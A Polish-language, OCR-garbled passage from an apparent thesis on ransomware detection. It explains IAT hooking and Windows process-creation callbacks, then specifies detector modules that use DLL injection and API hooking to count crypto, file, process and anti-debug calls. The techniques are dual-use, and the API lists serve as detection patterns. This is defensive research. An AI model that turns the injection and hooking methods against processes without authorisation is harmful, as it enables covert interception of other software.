Tabela z adresami importowanych funkcji (Import Address Table, IAT)!2? stanowi czesé
formatu PE (Portable Executable)!?3. Format ten opisuje strukture oraz zawarto$¢ plikéw

wykonywalnych (exe) systemu operacyjnego Windows.

Zawartos¢ tabeli IAT jest kluczowa z punktu widzenia poprawnosci dziatania danego

programu. W tabeli tej zapisane sg informacje m.in. o:

e Dynamicznych bibliotek DLL, z ktérych bedzie program korzystat.
e Nazwach funkcji pochodzacych z bibliotek DLL, z ktdrych bedzie program korzystat.
e Adresach funkcji pochodzacych z bibliotek DLL, z ktérych bedzie program korzystat.

Na potrzeby wskaznikow monitorujacych wywotania funkcji API, niezbedna bedzie

modyfikacja zawartosci tablicy IAT analizowanego procesu. W tym celu, na samym poczatku

120pSS VA _SPACE_ENTRY, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/processsnapshot/ns-processsnapshot-pss va space_entry, (dostep 03.2023)

121 WriteProcessMemory, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory, (dostep 03.2023)

122 Import Address Table, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/debug/pe-format#import-address-table, (dostep 03.2023)

123 PE Format, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/debug/pe-format, (dostep 03.2023)
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dziatania, wskaznik monitorujacy bedzie musiat zmieni¢ adres analizowanej funkcji API
zapisany w tabeli IAT na adres wtasnej funkcji, zgodnej co do deklaracji z przestaniang funkcja
API. Dzieki temu analizowany proces, zamiast oryginalnej funkcji API, nieswiadomie,
wywotywat bedzie funkcje obstugiwang przez wskaznik. Wskaznik bedzie madgt m.in.
przeanalizowa¢ dane wywotania, zebrac statystyki iloSciowe, zebrac statystyki czasowe.
Dodatkowo, funkcja wskaznik bedzie mogta przekazac sterowanie do oryginalnej funkcji API,
a nastepnie zwrdci¢ jej wynik do analizowanego procesu. Alternatywnie, wskaznik bedzie

mogt przerwac wywotanie i nie przekazywac sterowania do oryginalnej funkcji API.

Application calls

MessageBoxA
Import Address Table
= I A
imp <addri> kernel32IMessageBoxA
jmp <addr2=
T jmp MessageBoxA e — Legitimate code
: jmp <addrN=
1
1 A
1
[ 1
Unhooked i
1
________________________________________ IINANNAENAANENANNAENRENAN INENREERENE
1
Y

Hooked
hookedMessageBox

Malicious Code

Lo Call legitimate kernel32!MessageBoxA

Rysunek 30. Wywolanie funkcji MessageBoxA w przypadku niezmienionej (Unhooked) i zmienionej
(Hooked) zawartosci tabeli IAT
(zrodio: https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-
hooking)

IX.5 Wykrywanie powstania nowego procesu w systemie Windows
Wykrywanie faktu utworzenia w systemie Windows nowego procesu jest niezwykle istotne

z punktu widzenia skutecznosci dziatania wskaznikdéw detekcji. Wskazniki wykorzystania API

muszg monitorowaé procesy od samego poczatku ich istnienia. Tylko wtedy mozliwe bedzie

ograniczenia strat, jakie spowoduje atak ransomware.
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Mechanizm  wykrywajagcy powstanie nowego procesu wykorzystywat bedzie
funkcjonalnosé¢ wywotan zwrotnych (callback) po zajsciu okreslonego zdarzenia w systemie

Windows - PsSetCreateProcessNotifyRoutine?4.

Wywotujac funkcje PsSetCreateProcessNotifyRoutine, z poziomu sterownika Ilub filtra
sterownika systemu Windows, mozna zarejestrowac funkcje, ktéra zostanie wywotana przez
system operacyjny za kazdym razem, gdy zostanie utworzony nowy proces oraz za kazdym

razem, gdy proces zostanie zatrzymany.

NTSTATUS PsSetCreateProcessNotifyRoutine (
[in] PCREATE_PROCESS NOTIFY ROUTINE NotifyRoutine,
[in] BOOLEAN Remove

)

Kod zrédtowy 16. Deklaracja funkcji PsSetCreateProcessNotifyRoutine

Funkcja, ktéra zostanie wywotana, musi by¢ zgodna co do deklaracji zfunkcja

PCREATE_PROCESS_NOTIFY_ROUTINE'?.

PCREATE_PROCESS_NOTIFY_ ROUTINE PcreateProcessNotifyRoutine;

void PcreateProcessNotifyRoutine (
[in] HANDLE ParentId,
[in] HANDLE ProcessId,
[in] BOOLEAN Create

Kod zrédtowy 17. Deklaracja funkcji PCREATE_PROCESS_NOTIFY_ROUTINE

Ponizej przedstawiony zostat przyktadowy kod Zrodtowy, ktéry tworzy irejestruje
w systemie Windows funkcje, wywotywang za kazdym razem podczas tworzenia oraz

zatrzymywania procesow.

// funkcja wywolywana podczas tworzenie lub zatrzymywania procesu w systemie Windows
void callbackCreateDeleteProces (HANDLE parent pid, HANDLE pid, BOOLEAN create)
{
if (create)
{
// proces o identyfikatorze pid zostal utworzony
}
else
{
// proces o identyfikatorze pid zostal zatrzymany
}
}

// rejestrujemy w systemie nasz callback - callbackCreateDeleteProces
PsSetCreateProcessNotifyRoutine (callbackCreateDeleteProces, FALSE);

Kod zrédtowy 18. Przyktadowy kod pokazujgcy zastosowanie funkcji PsSetCreateProcessNotifyRoutine

124 PsSetCreateProcessNotifyRoutine, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine, (dostep 03.2023)

125 PCREATE_PROCESS NOTIFY_ROUTINE, Windows App Development, Microsoft,
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-

pcreate_process_notify routine, (dostep 03.2023)
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IX.6 Specyfikacja techniczna wskaznikéw

IX.6.1 Wskaznik wykorzystania API kryptograficznego

Ponizsza tabela prezentuje podstawowg specyfikacje techniczng wskaznika wykorzystania

API kryptograficznego.

Nazwa

Wartos¢

Nazwa wskaznika

Wskaznik wykorzystania API kryptograficznego

Nazwa projektu

Indicator/CryptoAPIUsage

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Mechanizm tworzenia APl hook’dw systemowych
e Mechanizm zmian wpisdw w tablicy IAT monitorowanych procesow.
e Mechanizmy typu DLL injection.

e Mechanizm wykrywajgcy powstanie nowego procesu w systemie.

Monitorowane

procesy

e Wskaznik monitorowat bedzie wszystkie nowo uruchomione
procesy w systemie Windows - dziatanie automatyczne.
e Wskaznik bedzie monitorowat wskazane procesy - dziatanie

na zgdanie (on-demand).

Sposdb dziatania

Wskaznik, korzystajagc ze wskazanych mechanizméw implementacji,
rejestrowat bedzie aktywnos¢ procesu we wskazanych obszarach API.
Rejestracji podlegac bedzie liczba wywotan danej funkcji API. Dodatkowo,
nalezy uwzgledni¢ zaleznosci czasowe miedzy kolejnymi wywotaniami.
W zwigzku z tym, dla kazdej monitorowanej funkcji APl wskaznik obliczat
bedzie co najmniej:

e Sumaryczng liczbe wywotan przez proces.

e Srednig liczbe wywotar przez proces w ciggu sekundy.

e Srednig liczbe wywotar przez proces w ciggu minuty.

e Sumaryczng liczbe wywotan.

e Srednig liczbe wywotari w ciggu sekundy.

e Srednig liczbe wywotari w ciggu minuty.

Funkcje API
podlegajace

monitorowaniu:

Nazwa funkgcji Biblioteka Znaczenie biznesowe

CryptAcquireContextW | ADVAPI32 Funkcja do tworzenia kontekstu

kryptograficznego.
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CryptDestroyKey ADVAPI32 Funkcja do niszczenia (usuwania
z pamieci) utworzonych
wczesniej kluczy
kryptograficznych.

CryptDuplicateKey ADVAPI32 Funkcja do tworzenia kopii
kluczy kryptograficznych.

CryptEncrypt ADVAPI32 Funkcja do szyfrowania danych.

CryptExportKey ADVAPI32 Funkcja do eksportu kluczy
kryptograficznych — tworzy
binarne dane, zawierajace dane
oraz metadane klucza.

CryptGenKey ADVAPI32 Funkcja do generowania
nowych kluczy
kryptograficznych.

CryptimportKey ADVAPI32 Funkcja do importowania kluczy
kryptograficznych.
Importowane sg dane binarne
utworzone wczesniej
z wykorzystaniem funkcjie
CryptExportKey.

CryptReleaseContext ADVAPI32 Funkcja zwalnia (usuwa
z pamieci) kontekst
krypotgraficzny.

CryptSetKeyParam ADVAPI32 Funkcja umozliwia ustawienie
parametrow
wykorzystywanego

mechanizmu kryptograficznego.

Sposéb

komunikacji

Wskaznik bedzie komunikowat sie z:

e Innymi wskaznikami pracujgcymi w systemie.

e Mechanizmem monitorowania.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:

e Dane identyfikacyjne.

e Dane typu heartbeat — wysytane wregularnych odstepach

czasowych.

e Dane ostrzegawcze — jezeli odczyty wskaznika przekroczg poziom

ostrzegawczy lub poziom weryfikacji negatywne;.
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Dane ostrzegawcze zwigzane zinnymi wskaznikami - np.
informacje, gdy inny zarejestrowany w systemie wskaznik

przestanie wysytaé poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekroczg poziom
ostrzegawczy lub poziom weryfikacji negatywne;j.

Dane ostrzegawcze zwigzane zinnymi wskaznikami — np.
informacje, gdy inny zarejestrowany w systemie wskaznik

przestanie wysytaé¢ poprawne dane typu heartbeat.

Poziom weryfikacji

pozytywnej

Proces korzysta rzadko z wymienionych powyzej funkcji.
Sumaryczna  liczba  wywotan  nie  przekracza  poziomu
ostrzegawczego.

Zaleznosci czasowe pomiedzy wywotaniami nie przekraczajg

poziomu ostrzegawczego.

Poziom weryfikacji

Proces korzysta czesto z wymienionych powyzej funkcji.

negatywnej e Sumaryczna liczba wywotan przekracza poziom weryfikacji
negatywne;.
e Zaleznosci czasowe pomiedzy wywofaniami przekraczaja poziom
weryfikacji negatywne;j.
Poziom e Proces korzysta czesto z wymienionych powyzej funkgji.
ostrzegawczy e Sumaryczna liczba wywotan przekracza poziom ostrzegawczy.
e Zaleznosci czasowe pomiedzy wywofaniami przekraczaja poziom
ostrzegawczy.
Parametry e |dentyfikator.
konfiguracyjne e Wartosci dla poziomu weryfikacji pozytywne;j.
wskaznika e Wartosci dla poziomu weryfikacji negatywne;j.

Wartosci dla poziomu ostrzegawczego.

Wartosci zwigzane z heartbeat.

Wartosci  zwigzane  z mechanizmem  komunikacji  miedzy
wskaznikami.

Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.
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IX.6.2 Wskaznik wykorzystania API plikowego

Ponizsza tabela prezentuje podstawowa specyfikacje techniczng wskaznika wykorzystania

API plikowego.

Nazwa

Wartos¢

Nazwa wskaznika

Wskaznik wykorzystania API plikowego

Nazwa projektu

Indicator/FileAPIUsage

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Mechanizm tworzenia APl hook’dw systemowych
e Mechanizm zmian wpiséw w tablicy IAT monitorowanych proceséw.
e Mechanizmy typu DLL injection.

e Mechanizm wykrywajgcy powstanie nowego procesu w systemie.

Monitorowane

procesy

e Wskaznik monitorowat bedzie wszystkie nowo uruchomione procesy
w systemie Windows - dziatanie automatyczne.
e Wskaznik bedzie monitorowat wskazane procesy - dziatanie na zgdanie

(on-demand).

Sposdb dziatania

Wskaznik,

rejestrowat bedzie aktywno$é procesu we wskazanych obszarach API.

korzystajac ze wskazanych mechanizméw implementac;ji,
Rejestracji podlega¢ bedzie liczba wywotan danej funkcji API. Dodatkowo,
nalezy uwzgledni¢ zaleznosci czasowe miedzy kolejnymi wywotaniami.
W zwigzku z tym, dla kazdej monitorowanej funkcji APl wskaznik obliczat
bedzie co najmniej:

e Sumaryczng liczbe wywotan przez proces.

e Srednig liczbe wywotar przez proces w ciggu sekundy.

e Srednig liczbe wywotar przez proces w ciggu minuty.

e Sumaryczng liczbe wywotan.

e Srednig liczbe wywotari w ciggu sekundy.

e Srednig liczbe wywotari w ciggu minuty.

Funkcje API
podlegajgce

monitorowaniu:

Nazwa funkcji Biblioteka Znaczenie biznesowe

CopyFileWw KERNEL32 Funkcja do kopiowania plikow.

CreateFileW KERNEL32 Funkcja do tworzenia/otwierania
plikow.
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FindClose KERNEL32 Funkcja zamyka handler uzywany
podczas wyszukiwania plikow.

FindFirstFileExW KERNEL32 Funkcja umozliwia wyszukiwanie
plikow oraz folderow
spetniajacych okreslone warunki.

FindFirstFileW KERNEL32 Funkcja umozliwia wyszukiwanie
plikow oraz folderow
spetniajacych okreslone warunki.

FindFirstVolumeW KERNEL32 Funkcja do szukania wolumendéw
obecnych w systemie
operacyjnym.

FindNextFileW KERNEL32 Funkcja zwraca kolejny plik/folder
spetniajacy okredlone kryteria
wyszukiwania.

FindNextVolumeW KERNEL32 Funkcja zwraca kolejny plik/folder
spetniajacy okredlone kryteria
wyszukiwania.

FindVolumeClose KERNEL32 Funkcja zamyka handler uzywany
podczas wyszukiwania
wolumendw.

GetFileAttributesW KERNEL32 Funkcja pozwala odczytac
atrybuty wskazanego
pliku/folderu.

GetFileSizeEx KERNEL32 Funkcja pozwala odczytac rozmiar
wskazanego pliku/folderu.

GetFileType KERNEL32 Funkcja pozwala odczyta¢ typ
wskazanego pliku/folderu.

GetVolumelnformation | KERNEL32 Funkcja zwracajgca okreslone

w informacje o wskazanym
wolumenie systemowym.

GetVolumePathNamesF | KERNEL32

orVolumeNameW

MoveFileExW KERNEL32

ReadFile KERNEL32 Funkcja umozlwiajgca odczytanie
zawartosci wskazanego pliku.

SetFileAttributesW KERNEL32 Funkcja umozliwia okreslenie

atrybutéw pliku/folderu.
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SetFilePointerEx KERNEL32 Funkcja ustawia wskaznik
na okresSlone miejsce w danym
pliku.

SetVolumeMountPoint | KERNEL32

W

WriteFile KERNEL32 Funkcja umozlwiajgca zapisanie
zawartosci wskazanego pliku.

Sposdb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach czasowych.
Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysyfac

poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach czasowych.
Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;j.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysyfac

poprawne dane typu heartbeat.

Poziom weryfikacji
pozytywnej

Proces korzysta rzadko z wymienionych powyzej funkgji.
Sumaryczna liczba wywotan nie przekracza poziomu ostrzegawczego.
Zaleznosci czasowe pomiedzy wywofaniami nie przekraczajg poziomu

ostrzegawczego.

Poziom weryfikacji

Proces korzysta czesto z wymienionych powyzej funkcji.

negatywnej e Sumaryczna liczba wywofan przekracza poziom weryfikacji negatywnej.
e Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom
weryfikacji negatywne;j.
Poziom e Proces korzysta czesto z wymienionych powyzej funkgcji.
ostrzegawczy e Sumaryczna liczba wywotan przekracza poziom ostrzegawczy.
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e Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom

ostrzegawczy.

Parametry
konfiguracyjne

wskaznika

e |dentyfikator.

e Wartosci dla poziomu weryfikacji pozytywne;j.
e Wartosci dla poziomu weryfikacji negatywne;.
e Wartosci dla poziomu ostrzegawczego.

e Wartosci zwigzane z heartbeat.

e Wartosci zwigzane z mechanizmem komunikacji miedzy wskaznikami.

e Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.

IX.6.3 Wskaznik wykorzystania APl do obstugi watkdw oraz proceséw

Ponizsza tabela prezentuje podstawowg specyfikacje techniczng wskaznika wykorzystania

API do obstugi watkéw oraz proceséw.

Nazwa

Wartosc

Nazwa wskaznika

Wskaznik wykorzystania API do obstugi watkdw oraz procesow

Nazwa projektu

Indicator/ProcessThreadAPlUsage

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o (C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Mechanizm tworzenia APl hook’édw systemowych
e Mechanizm zmian wpiséw w tablicy IAT monitorowanych proceséw.
e Mechanizmy typu DLL injection.

e Mechanizm wykrywajgcy powstanie nowego procesu w systemie.

Monitorowane

procesy

e Wskaznik monitorowat bedzie wszystkie nowo uruchomione procesy
w systemie Windows - dziatanie automatyczne.
e Wskaznik bedzie monitorowat wskazane procesy - dziatanie

na zgdanie (on-demand).

Sposdb dziatania

Wskaznik, korzystajac ze wskazanych mechanizméw implementacji,
rejestrowat bedzie aktywno$é procesu we wskazanych obszarach API.
Rejestracji podlega¢ bedzie liczba wywotan danej funkcji APl. Dodatkowo,

nalezy uwzgledni¢ zaleznosci czasowe miedzy kolejnymi wywotaniami.
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W zwigzku z tym, dla kazdej monitorowanej funkcji APl wskaznik obliczat

bedzie co najmniej:

e Sumaryczng liczbe wywotan przez proces.

e Srednig liczbe wywotar przez proces w ciggu sekundy.

e Srednig liczbe wywotar przez proces w ciggu minuty.

e Sumaryczng liczbe wywotan.

e Srednig liczbe wywotari w ciggu sekundy.

e Srednig liczbe wywotari w ciggu minuty.

Funkcje
podlegajace

API

monitorowaniu:

Nazwa funkgcji Biblioteka Znaczenie biznesowe

CreateThread KERNEL32 Funkcja do tworzenia watkéw
w ramach istniejgcych
procesow.

ExitProcess KERNEL32 Funkcja powoduje zakoriczenie
pracy procesu.

ExitThread KERNEL32 Funkcja powoduje zakornczenie
pracy watku.

GetCurrentProcess KERNEL32

GetCurrentProcessld KERNEL32

GetCurrentThread KERNEL32

GetCurrentThreadld KERNEL32

GetExitCodeThread KERNEL32

GetProcessAffinityMask | KERNEL32

GetProcessHeap KERNEL32

GetThreadContext KERNEL32

GetThreadPriority KERNEL32

GetThreadTimes KERNEL32

OpenProcess KERNEL32

OpenProcessToken ADVAPI32

Process32FirstW KERNEL32 Zwraca informacje o pierwszym
procesie znalezionym we
wskazanej migawce ze stanu
systemu (snapshot).

Process32NextW KERNEL32 Zwraca informacje o kolejnym
procesie znalezionym we
wskazanej migawce ze stanu
systemu (snapshot).

SetThreadAffinityMask | KERNEL32
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SetThreadPriority KERNEL32

TerminateProcess KERNEL32 Funkcja do zatrzymania

wskazanego  procesu  oraz
wszystkich powigzanych z nim

watkow.

Sposéb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do
innych

wskaznikow

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysylane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysylane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Poziom e Proces korzysta rzadko z wymienionych powyzej funkcji.
weryfikacji e Sumaryczna liczba wywotan nie przekracza poziomu ostrzegawczego.
pozytywnej e Zaleznosci czasowe pomiedzy wywotaniami nie przekraczajg poziomu
ostrzegawczego.
Poziom e Proces korzysta czesto z wymienionych powyzej funkcji.
weryfikacji e Sumaryczna liczba wywotarn przekracza poziom weryfikacji
negatywnej negatywne;.
e Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom
weryfikacji negatywne;j.
Poziom e Proces korzysta czesto z wymienionych powyzej funkcji.
ostrzegawczy e Sumaryczna liczba wywotan przekracza poziom ostrzegawczy.
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e Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom

ostrzegawczy.

Parametry
konfiguracyjne

wskaznika

e |dentyfikator.

e Wartosci dla poziomu weryfikacji pozytywne;j.

e Wartosci dla poziomu weryfikacji negatywne;.

e Wartosci dla poziomu ostrzegawczego.

e Wartosci zwigzane z heartbeat.

e Wartosci  zwigzane  zmechanizmem  komunikacji  miedzy
wskaznikami.

e Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.

IX.6.4 Wskaznik wykorzystania funkcji APl do modyfikacji ustawien
systemowych

Ponizsza tabela prezentuje podstawowg specyfikacje techniczng wskaznika wykorzystania

funkcji API do modyfikacji ustawien systemowych.

Nazwa

Wartosc

Nazwa wskaznika

Wskaznik wykorzystania APl do modyfikacji ustawien systemowych

Nazwa projektu

Indicator/SettingsAPIUsage

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o (C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Mechanizm tworzenia APl hook’dw systemowych
e Mechanizm zmian wpiséw w tablicy IAT monitorowanych proceséw.
e Mechanizmy typu DLL injection.

e Mechanizm wykrywajgcy powstanie nowego procesu w systemie.

Monitorowane

procesy

e Wskaznik monitorowat bedzie wszystkie nowo uruchomione procesy
w systemie Windows - dziatanie automatyczne.
e Wskaznik bedzie monitorowat wskazane procesy - dziatanie

na zgdanie (on-demand).

Sposdb dziatania

Wskaznik, korzystajac ze wskazanych mechanizméw implementacji,
rejestrowat bedzie aktywno$é procesu we wskazanych obszarach API.
Rejestracji podlegac bedzie liczba wywotan danej funkcji API. Dodatkowo,

nalezy uwzgledni¢ zaleznosci czasowe miedzy kolejnymi wywotaniami.
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W zwigzku z tym, dla kazdej monitorowanej funkcji APl wskaznik obliczat

bedzie co najmniej:

e Sumaryczng liczbe wywotan przez proces.

e Srednig liczbe wywotar przez proces w ciggu sekundy.

e Srednig liczbe wywotar przez proces w ciggu minuty.

e Sumaryczng liczbe wywotan.

e Srednig liczbe wywotari w ciggu sekundy.

e Srednig liczbe wywotari w ciggu minuty.

Funkcje
podlegajace

API

monitorowaniu:

Nazwa funkgcji Biblioteka | Znaczenie biznesowe

GetCommandLineW KERNEL32 Pozwala odczyta¢ zawartosé
wiersza polecen dla danego
procesu (z momentu
uruchamiania).

GetComputerNameA KERNEL32 Funkcja zwraca nazwe
komputera.

GetDateFormatwW KERNEL32

GetDiskFreeSpaceW KERNEL32

GetEnvironmentStringsW | KERNEL32

GetEnvironmentVariableW | KERNEL32

GetStartupIinfow KERNEL32

GetSysteminfo KERNEL32 Funkcja zwracajgca okreslone
informacje o systemie.

IsProcessorFeaturePresent | KERNEL32 Funkcja do wykrywania czy
procesor komputera posiada
okreslone funkcjonalnosci.
Funkcja ta jest czesto
wykorzystywana
w mechanizmach anty-debug.

IsValidCodePage KERNEL32

RegCloseKey ADVAPI32

RegOpenKeyExW ADVAPI32 Funkcja umozliwia
pobranie/utworzenie
okreslonego wpisu w rejestrze
systemu Windows.

RegSetValueExW ADVAPI32 Funkcja umozliwia zmiane

okreslonego wpisu w rejestrze

systemu Windows.
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SetEnvironmentVariableW | KERNEL32

Sposdb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do
innych

wskaznikow

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysylane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysylane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Poziom e Proces korzysta rzadko z wymienionych powyzej funkcji.
weryfikacji e Sumaryczna liczba wywotan nie przekracza poziomu ostrzegawczego.
pozytywnej e Zaleznosci czasowe pomiedzy wywotaniami nie przekraczajg poziomu
ostrzegawczego.
Poziom e Proces korzysta czesto z wymienionych powyzej funkgji.
weryfikacji e Sumaryczna liczba wywotarn przekracza poziom weryfikacji
negatywnej negatywne;j.
e Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom
weryfikacji negatywnej.
Poziom e Proces korzysta czesto z wymienionych powyzej funkgji.
ostrzegawczy e Sumaryczna liczba wywotan przekracza poziom ostrzegawczy.

Zaleznosci czasowe pomiedzy wywotaniami przekraczajg poziom

ostrzegawczy.
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Parametry
konfiguracyjne

wskaznika

e |dentyfikator.

e Wartosci dla poziomu weryfikacji pozytywne;j.

e Wartosci dla poziomu weryfikacji negatywne;.

e Wartosci dla poziomu ostrzegawczego.

e Wartosci zwigzane z heartbeat.

e Wartosci  zwigzane  zmechanizmem  komunikacji  miedzy
wskaznikami.

e Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.

IX.6.5 Wskaznik wykorzystania nietypowego API

Ponizsza tabela prezentuje podstawowg specyfikacje techniczng wskaznika wykorzystania

nietypowego API.

Nazwa

Wartosc

Nazwa wskaznika

Wskaznik wykorzystania nietypowego API

Nazwa projektu

Indicator/OtherAPIUsage

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o (C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Mechanizm tworzenia APl hook’édw systemowych
e Mechanizm zmian wpiséw w tablicy IAT monitorowanych proceséw.
e Mechanizmy typu DLL injection.

e Mechanizm wykrywajgcy powstanie nowego procesu w systemie.

Monitorowane

procesy

e Wskaznik monitorowat bedzie wszystkie nowo uruchomione procesy
w systemie Windows - dziatanie automatyczne.
e Wskaznik bedzie monitorowat wskazane procesy - dziatanie

na zgdanie (on-demand).

Sposdb dziatania

Wskaznik,
rejestrowat bedzie aktywno$é procesu we wskazanych obszarach API.

korzystajagc ze wskazanych mechanizméw implementacji,

Rejestracji podlegad bedzie liczba wywotan danej funkcji API.

Funkcje API
podlegajace

monitorowaniu:

Nazwa funkgcji Biblioteka | Znaczenie biznesowe
AdjustTokenPrivileges ADVAPI32
CheckRemoteDebuggerPresent | KERNEL32
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GetCommandLineA KERNEL32 Pozwala odczytac
zawartosé wiersza
polecen dla  danego
procesu (z momentu
uruchamiania).

GetCommandLineW KERNEL32 Pozwala odczytac
zawartosé wiersza
polecen dla  danego
procesu (z momentu
uruchamiania).

GetlLocalelnfoA KERNEL32

GetlLocalelnfoW KERNEL32

GetProcAddress KERNEL32

IsDebuggerPresent KERNEL32 Funkcja do wykrywania
czy proces jest
kontrolowany przez
oprogramowanie  typu
debugger.

IsProcessorFeaturePresent KERNEL32 Funkcja do wykrywania
czy procesor komputera
posiada okreslone
funkcjonalnosci. Funkcja
ta jest czesto
wykorzystywana
w mechanizmach  anty-
debug.

IsValidCodePage KERNEL32

IsValidLocale KERNEL32

LoadLibraryExW KERNEL32

LoadLibraryW KERNEL32

SetUnhandledExceptionFilter KERNEL32

SetVolumeMountPointW KERNEL32

ShellExecuteW SHELL32 Funkcja do wykonania
okreslone operacji

z wykorzystaniem
mechanizmu Windows

Shell.
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Sposéb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do
innych

wskaznikow

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysylane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane wregularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli odczyty wskaznika przekrocza poziom
ostrzegawczy lub poziom weryfikacji negatywne;.

Dane ostrzegawcze zwigzane z innymi wskaznikami — np. informacje,
gdy inny zarejestrowany w systemie wskaznik przestanie wysytac

poprawne dane typu heartbeat.

Poziom e Proces nie korzysta z wymienionych powyzej funkcji.
weryfikacji

pozytywnej

Poziom e Proces korzysta z wymienionych funkgcji.
ostrzegawczy

Parametry e |dentyfikator.

konfiguracyjne e Wartosci dla poziomu weryfikacji pozytywnej.
wskaznika e Wartosci dla poziomu weryfikacji negatywnej.

Wartosci dla poziomu ostrzegawczego.

Wartosci zwigzane z heartbeat.

Wartosci  zwigzane  zmechanizmem  komunikacji  miedzy
wskaznikami.

Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.
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IX.7 Specyfikacja techniczna wskaznika zmian poziomu losowosci
danych

Ponizsza tabela prezentuje podstawowa specyfikacje techniczng wskaznika zmian poziomu

